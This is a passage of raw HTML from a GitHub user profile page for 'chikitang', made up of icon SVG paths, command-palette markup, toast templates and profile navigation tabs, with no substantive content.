0 010 2.474l-8.61 8.61c-.21.21-.47.364-.756.445l-3.251.93a.75.75 0 01-.927-.928l.929-3.25a1.75 1.75 0 01.445-.758l8.61-8.61zm1.414 1.06a.25.25 0 00-.354 0L10.811 3.75l1.439 1.44 1.263-1.263a.25.25 0 000-.354l-1.086-1.086zM11.189 6.25L9.75 4.81l-6.286 6.287a.25.25 0 00-.064.108l-.558 1.953 1.953-.558a.249.249 0 00.108-.064l6.286-6.286z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="issue-opened-open"> <svg height="16" class="octicon octicon-issue-opened open" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="git-pull-request-draft-color-fg-muted"> <svg height="16" class="octicon octicon-git-pull-request-draft color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.25 1a2.25 2.25 0 00-.75 4.372v5.256a2.251 2.251 0 101.5 0V5.372A2.25 2.25 0 003.25 1zm0 11a.75.75 0 100 1.5.75.75 0 000-1.5zm9.5 3a2.25 2.25 0 100-4.5 2.25 2.25 0 000 4.5zm0-3a.75.75 0 100 1.5.75.75 0 000-1.5z"></path><path d="M14 7.5a1.25 1.25 0 11-2.5 0 1.25 1.25 0 012.5 0zm0-4.25a1.25 1.25 0 11-2.5 0 1.25 1.25 0 012.5 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="search-color-fg-muted"> <svg height="16" class="octicon octicon-search color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="sun-color-fg-muted"> <svg height="16" class="octicon octicon-sun color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 10.5a2.5 2.5 0 100-5 2.5 2.5 0 000 5zM8 12a4 4 0 100-8 4 4 0 000 8zM8 0a.75.75 0 01.75.75v1.5a.75.75 0 01-1.5 0V.75A.75.75 0 018 0zm0 13a.75.75 0 01.75.75v1.5a.75.75 0 01-1.5 0v-1.5A.75.75 0 018 13zM2.343 2.343a.75.75 0 011.061 0l1.06 1.061a.75.75 0 01-1.06 1.06l-1.06-1.06a.75.75 0 010-1.06zm9.193 9.193a.75.75 0 011.06 0l1.061 1.06a.75.75 0 01-1.06 1.061l-1.061-1.06a.75.75 0 010-1.061zM16 8a.75.75 0 01-.75.75h-1.5a.75.75 0 010-1.5h1.5A.75.75 0 0116 8zM3 8a.75.75 0 01-.75.75H.75a.75.75 0 010-1.5h1.5A.75.75 0 013 8zm10.657-5.657a.75.75 0 010 1.061l-1.061 1.06a.75.75 0 11-1.06-1.06l1.06-1.06a.75.75 0 011.06 0zm-9.193 9.193a.75.75 0 010 1.06l-1.06 1.061a.75.75 0 11-1.061-1.06l1.06-1.061a.75.75 0 011.061 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="sync-color-fg-muted"> <svg height="16" class="octicon octicon-sync color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 2.5a5.487 5.487 0 00-4.131 1.869l1.204 1.204A.25.25 0 014.896 6H1.25A.25.25 0 011 5.75V2.104a.25.25 0 01.427-.177l1.38 1.38A7.001 7.001 0 0114.95 7.16a.75.75 0 11-1.49.178A5.501 5.501 0 008 2.5zM1.705 8.005a.75.75 0 01.834.656 5.501 5.501 0 009.592 2.97l-1.204-1.204a.25.25 0 01.177-.427h3.646a.25.25 0 01.25.25v3.646a.25.25 0 01-.427.177l-1.38-1.38A7.001 7.001 0 011.05 8.84a.75.75 0 01.656-.834z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="trash-color-fg-muted"> <svg height="16" class="octicon octicon-trash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M6.5 1.75a.25.25 0 01.25-.25h2.5a.25.25 0 01.25.25V3h-3V1.75zm4.5 0V3h2.25a.75.75 0 010 1.5H2.75a.75.75 0 010-1.5H5V1.75C5 .784 5.784 0 6.75 0h2.5C10.216 0 11 .784 11 1.75zM4.496 6.675a.75.75 0 10-1.492.15l.66 6.6A1.75 1.75 0 005.405 15h5.19c.9 0 1.652-.681 1.741-1.576l.66-6.6a.75.75 0 00-1.492-.149l-.66 6.6a.25.25 0 01-.249.225h-5.19a.25.25 0 01-.249-.225l-.66-6.6z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="key-color-fg-muted"> <svg height="16" class="octicon octicon-key color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M6.5 5.5a4 4 0 112.731 3.795.75.75 0 00-.768.18L7.44 10.5H6.25a.75.75 0 00-.75.75v1.19l-.06.06H4.25a.75.75 0 00-.75.75v1.19l-.06.06H1.75a.25.25 0 01-.25-.25v-1.69l5.024-5.023a.75.75 0 00.181-.768A3.995 3.995 0 016.5 5.5zm4-5.5a5.5 5.5 0 00-5.348 6.788L.22 11.72a.75.75 0 00-.22.53v2C0 15.216.784 16 1.75 16h2a.75.75 0 00.53-.22l.5-.5a.75.75 0 00.22-.53V14h.75a.75.75 0 00.53-.22l.5-.5a.75.75 0 00.22-.53V12h.75a.75.75 0 00.53-.22l.932-.932A5.5 5.5 0 1010.5 0zm.5 6a1 1 0 100-2 1 1 0 000 2z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="comment-discussion-color-fg-muted"> <svg height="16" class="octicon octicon-comment-discussion color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 2.75a.25.25 0 01.25-.25h8.5a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-3.5a.75.75 0 00-.53.22L3.5 11.44V9.25a.75.75 0 00-.75-.75h-1a.25.25 0 01-.25-.25v-5.5zM1.75 1A1.75 1.75 0 000 2.75v5.5C0 9.216.784 10 1.75 10H2v1.543a1.457 1.457 0 002.487 1.03L7.061 10h3.189A1.75 1.75 0 0012 8.25v-5.5A1.75 1.75 0 0010.25 1h-8.5zM14.5 4.75a.25.25 0 00-.25-.25h-.5a.75.75 0 110-1.5h.5c.966 0 1.75.784 1.75 1.75v5.5A1.75 1.75 0 0114.25 12H14v1.543a1.457 1.457 0 01-2.487 1.03L9.22 12.28a.75.75 0 111.06-1.06l2.22 2.22v-2.19a.75.75 0 01.75-.75h1a.25.25 0 00.25-.25v-5.5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="bell-color-fg-muted"> <svg height="16" class="octicon octicon-bell color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="bell-slash-color-fg-muted"> <svg height="16" class="octicon octicon-bell-slash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1.5c-.997 0-1.895.416-2.534 1.086A.75.75 0 014.38 1.55 5 5 0 0113 5v2.373a.75.75 0 01-1.5 0V5A3.5 3.5 0 008 1.5zM4.182 4.31L1.19 2.143a.75.75 0 10-.88 1.214L3 5.305v2.642a.25.25 0 01-.042.139L1.255 10.64A1.518 1.518 0 002.518 13h11.108l1.184.857a.75.75 0 10.88-1.214l-1.375-.996a1.196 1.196 0 00-.013-.01L4.198 4.321a.733.733 0 00-.016-.011zm7.373 7.19L4.5 6.391v1.556c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01.015.015 0 00.005.012.017.017 0 00.006.004l.007.001h9.037zM8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="paintbrush-color-fg-muted"> <svg height="16" class="octicon octicon-paintbrush color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.134 1.535C9.722 2.562 8.16 4.057 6.889 5.312 5.8 6.387 5.041 7.401 4.575 8.294a3.745 3.745 0 00-3.227 1.054c-.43.431-.69 1.066-.86 1.657a11.982 11.982 0 00-.358 1.914A21.263 21.263 0 000 15.203v.054l.75-.007-.007.75h.054a14.404 14.404 0 00.654-.012 21.243 21.243 0 001.63-.118c.62-.07 1.3-.18 1.914-.357.592-.17 1.226-.43 1.657-.861a3.745 3.745 0 001.055-3.217c.908-.461 1.942-1.216 3.04-2.3 1.279-1.262 2.764-2.825 3.775-4.249.501-.706.923-1.428 1.125-2.096.2-.659.235-1.469-.368-2.07-.606-.607-1.42-.55-2.069-.34-.66.213-1.376.646-2.076 1.155zm-3.95 8.48a3.76 3.76 0 00-1.19-1.192 9.758 9.758 0 011.161-1.607l1.658 1.658a9.853 9.853 0 01-1.63 1.142zM.742 16l.007-.75-.75.008A.75.75 0 00.743 16zM12.016 2.749c-1.224.89-2.605 2.189-3.822 3.384l1.718 1.718c1.21-1.205 2.51-2.597 3.387-3.833.47-.662.78-1.227.912-1.662.134-.444.032-.551.009-.575h-.001V1.78c-.014-.014-.112-.113-.548.027-.432.14-.995.462-1.655.942zM1.62 13.089a19.56 19.56 0 00-.104 1.395 19.55 19.55 0 001.396-.104 10.528 10.528 0 001.668-.309c.526-.151.856-.325 1.011-.48a2.25 2.25 0 00-3.182-3.182c-.155.155-.329.485-.48 1.01a10.515 10.515 0 00-.309 1.67z"></path></svg> </div> <command-palette-item-group data-group-id="top" data-group-title="Top result" data-group-hint="" data-group-limits="{}" data-default-priority="0" > </command-palette-item-group> <command-palette-item-group data-group-id="commands" data-group-title="Commands" data-group-hint="Type > to filter" data-group-limits="{"static_items_page":50,"issue":50,"pull_request":50,"discussion":50}" data-default-priority="1" > </command-palette-item-group> <command-palette-item-group data-group-id="global_commands" data-group-title="Global Commands" data-group-hint="Type > to filter" data-group-limits="{"issue":0,"pull_request":0,"discussion":0}" data-default-priority="2" > </command-palette-item-group> <command-palette-item-group data-group-id="this_page" data-group-title="This Page" data-group-hint="" data-group-limits="{}" data-default-priority="3" > </command-palette-item-group> <command-palette-item-group data-group-id="files" data-group-title="Files" data-group-hint="" data-group-limits="{}" data-default-priority="4" > </command-palette-item-group> <command-palette-item-group data-group-id="default" data-group-title="Default" data-group-hint="" data-group-limits="{"static_items_page":50}" data-default-priority="5" > </command-palette-item-group> <command-palette-item-group data-group-id="pages" data-group-title="Pages" data-group-hint="" data-group-limits="{"repository":10}" data-default-priority="6" > </command-palette-item-group> <command-palette-item-group data-group-id="access_policies" data-group-title="Access Policies" data-group-hint="" data-group-limits="{}" data-default-priority="7" > </command-palette-item-group> <command-palette-item-group data-group-id="organizations" data-group-title="Organizations" data-group-hint="" data-group-limits="{}" data-default-priority="8" > </command-palette-item-group> <command-palette-item-group data-group-id="repositories" data-group-title="Repositories" data-group-hint="" data-group-limits="{}" data-default-priority="9" > </command-palette-item-group> <command-palette-item-group data-group-id="references" data-group-title="Issues, pull requests, and discussions" data-group-hint="Type # to filter" data-group-limits="{}" data-default-priority="10" > </command-palette-item-group> <command-palette-item-group data-group-id="teams" data-group-title="Teams" data-group-hint="" data-group-limits="{}" data-default-priority="11" > </command-palette-item-group> <command-palette-item-group data-group-id="users" data-group-title="Users" data-group-hint="" data-group-limits="{}" data-default-priority="12" > </command-palette-item-group> <command-palette-item-group data-group-id="projects" data-group-title="Projects" data-group-hint="" data-group-limits="{}" data-default-priority="13" > </command-palette-item-group> <command-palette-item-group data-group-id="footer" data-group-title="Footer" data-group-hint="" data-group-limits="{}" data-default-priority="14" > </command-palette-item-group> <command-palette-item-group data-group-id="modes_help" data-group-title="Modes" data-group-hint="" data-group-limits="{}" data-default-priority="15" > </command-palette-item-group> <command-palette-item-group data-group-id="filters_help" data-group-title="Use filters in issues, pull requests, discussions, and projects" data-group-hint="" data-group-limits="{}" data-default-priority="16" > </command-palette-item-group> <command-palette-page data-page-title="chikitang" data-scope-id="U_kgDOBmIdJQ" data-scope-type="owner" data-targets="command-palette-page-stack.defaultPages" hidden > </command-palette-page> </div> <command-palette-page data-is-root> </command-palette-page> <command-palette-page data-page-title="chikitang" data-scope-id="U_kgDOBmIdJQ" data-scope-type="owner" > </command-palette-page> </command-palette-page-stack> <server-defined-provider data-type="search-links" data-targets="command-palette.serverDefinedProviderElements"></server-defined-provider> <server-defined-provider data-type="help" data-targets="command-palette.serverDefinedProviderElements"> <command-palette-help data-group="modes_help" data-prefix="#" data-scope-types="[""]" > <span data-target="command-palette-help.titleElement">Search for <strong>issues</strong> and <strong>pull requests</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">#</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="#" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>issues, pull requests, discussions,</strong> and <strong>projects</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">#</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="@" data-scope-types="[""]" > <span data-target="command-palette-help.titleElement">Search for <strong>organizations, repositories,</strong> and <strong>users</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">@</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="!" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>projects</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">!</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="/" data-scope-types="["repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>files</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">/</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix=">" > <span data-target="command-palette-help.titleElement">Activate <strong>command mode</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">></kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# author:@me" > <span data-target="command-palette-help.titleElement">Search your issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># author:@me</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# author:@me" > <span data-target="command-palette-help.titleElement">Search your issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># author:@me</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:pr" > <span data-target="command-palette-help.titleElement">Filter to pull requests</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:pr</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:issue" > <span data-target="command-palette-help.titleElement">Filter to issues</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:issue</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:discussion" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Filter to discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:discussion</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:project" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Filter to projects</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:project</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:open" > <span data-target="command-palette-help.titleElement">Filter to open issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:open</kbd> </span> </command-palette-help> </server-defined-provider> <server-defined-provider data-type="commands" data-fetch-debounce="0" data-src="/command_palette/commands" data-supported-modes="[]" data-supports-commands data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/jump_to_page_navigation" data-supported-modes="[""]" data-supported-scope-types="["","owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/issues" data-supported-modes="["#","#"]" data-supported-scope-types="["owner","repository",""]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/jump_to" data-supported-modes="["@","@"]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/jump_to_members_only" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/jump_to_members_only_prefetched" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="files" data-fetch-debounce="0" data-src="/command_palette/files" data-supported-modes="["/"]" data-supported-scope-types="["repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/discussions" data-supported-modes="["#"]" data-supported-scope-types="["owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/projects" data-supported-modes="["#","!"]" data-supported-scope-types="["owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/recent_issues" data-supported-modes="["#","#"]" data-supported-scope-types="["owner","repository",""]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/teams" data-supported-modes="["@",""]" data-supported-scope-types="["owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/name_with_owner_repository" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> </command-palette> </details-dialog> </details> <div class="position-fixed bottom-0 left-0 ml-5 mb-5 js-command-palette-toasts" style="z-index: 1000"> <div hidden class="Toast Toast--loading"> <span class="Toast-icon"> <svg class="Toast--spinner" viewBox="0 0 32 32" width="18" height="18" aria-hidden="true"> <path fill="#959da5" d="M16 0 A16 16 0 0 0 16 32 A16 16 0 0 0 16 0 M16 4 A12 12 0 0 1 16 28 A12 12 0 0 1 16 4" /> <path fill="#ffffff" d="M16 0 A16 16 0 0 1 32 16 L28 16 A12 12 0 0 0 16 4z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--error"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-stop"> <path fill-rule="evenodd" d="M4.47.22A.75.75 0 015 0h6a.75.75 0 01.53.22l4.25 4.25c.141.14.22.331.22.53v6a.75.75 0 01-.22.53l-4.25 4.25A.75.75 0 0111 16H5a.75.75 0 01-.53-.22L.22 11.53A.75.75 0 010 11V5a.75.75 0 01.22-.53L4.47.22zm.84 1.28L1.5 5.31v5.38l3.81 3.81h5.38l3.81-3.81V5.31L10.69 1.5H5.31zM8 4a.75.75 0 01.75.75v3.5a.75.75 0 01-1.5 0v-3.5A.75.75 0 018 4zm0 8a1 1 0 100-2 1 1 0 000 2z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--warning"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--success"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-info"> <path fill-rule="evenodd" d="M8 1.5a6.5 6.5 0 100 13 6.5 6.5 0 000-13zM0 8a8 8 0 1116 0A8 8 0 010 8zm6.5-.25A.75.75 0 017.25 7h1a.75.75 0 01.75.75v2.75h.25a.75.75 0 010 1.5h-2a.75.75 0 010-1.5h.25v-2h-.25a.75.75 0 01-.75-.75zM8 6a1 1 0 100-2 1 1 0 000 2z"></path> </svg> </span> <span class="Toast-content"></span> </div> </div> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <main id="js-pjax-container" data-pjax-container> <div class="mt-4 position-sticky top-0 d-none d-md-block color-bg-default width-full border-bottom color-border-muted" style="z-index:3;" > <div class="container-xl px-3 px-md-4 px-lg-5"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-start Layout--sidebarPosition-flowRow-start"> <div data-view-component="true" class="Layout-sidebar"> <div class="user-profile-sticky-bar"> <div class="user-profile-mini-vcard d-table"> <span class="user-profile-mini-avatar d-table-cell v-align-middle lh-condensed-ultra pr-2"> <img class="rounded-2 avatar-user" src="https://avatars.githubusercontent.com/u/107093285?s=64&v=4" width="32" height="32" alt="@chikitang" /> </span> <span class="d-table-cell v-align-middle lh-condensed"> <strong>chikitang</strong> </span> </div> </div> </div> <div data-view-component="true" class="Layout-main"> <div class="UnderlineNav width-full box-shadow-none js-responsive-underlinenav overflow-md-x-hidden"> <nav class="UnderlineNav-body width-full p-responsive" data-pjax aria-label="User profile"> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_OVERVIEW","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="5d370149c21205ec5db1b16999e0832e303dc0e8216fdfcad467e4d739ba5bd2" data-tab-item="overview" href="/chikitang"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path> </svg> Overview </a> <a aria-current="page" class="UnderlineNav-item js-responsive-underlinenav-item selected" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_REPOSITORIES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="2878152d02a2613d43b03e73899fd932cdc33dbf741606f59108073a3be3d53e" data-tab-item="repositories" href="/chikitang?tab=repositories"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> Repositories <span title="1" data-view-component="true" class="Counter">1</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PROJECTS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="998a9967a41db96a06d41fa60e83ae993072d339981cb58ccbd2a1e8c28b8173" data-tab-item="projects" href="/chikitang?tab=projects&type=beta"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v3.585a.746.746 0 010 .83v8.085A1.75 1.75 0 0114.25 16H6.309a.748.748 0 01-1.118 0H1.75A1.75 1.75 0 010 14.25V6.165a.746.746 0 010-.83V1.75zM1.5 6.5v7.75c0 .138.112.25.25.25H5v-8H1.5zM5 5H1.5V1.75a.25.25 0 01.25-.25H5V5zm1.5 1.5v8h7.75a.25.25 0 00.25-.25V6.5h-8zm8-1.5h-8V1.5h7.75a.25.25 0 01.25.25V5z"></path> </svg> Projects <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PACKAGES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="add7fd6f4f8f617c23b86cea0dd89fef5bd1ea5fe415b3492401e9a613d417be" data-tab-item="packages" href="/chikitang?tab=packages"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-package UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8.878.392a1.75 1.75 0 00-1.756 0l-5.25 3.045A1.75 1.75 0 001 4.951v6.098c0 .624.332 1.2.872 1.514l5.25 3.045a1.75 1.75 0 001.756 0l5.25-3.045c.54-.313.872-.89.872-1.514V4.951c0-.624-.332-1.2-.872-1.514L8.878.392zM7.875 1.69a.25.25 0 01.25 0l4.63 2.685L8 7.133 3.245 4.375l4.63-2.685zM2.5 5.677v5.372c0 .09.047.171.125.216l4.625 2.683V8.432L2.5 5.677zm6.25 8.271l4.625-2.683a.25.25 0 00.125-.216V5.677L8.75 8.432v5.516z"></path> </svg> Packages <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_STARS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="9b1d942d1e97482fca652be20f1a0bdf7aadf6379f10093c52d87921e2fc4d38" data-tab-item="stars" href="/chikitang?tab=stars"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 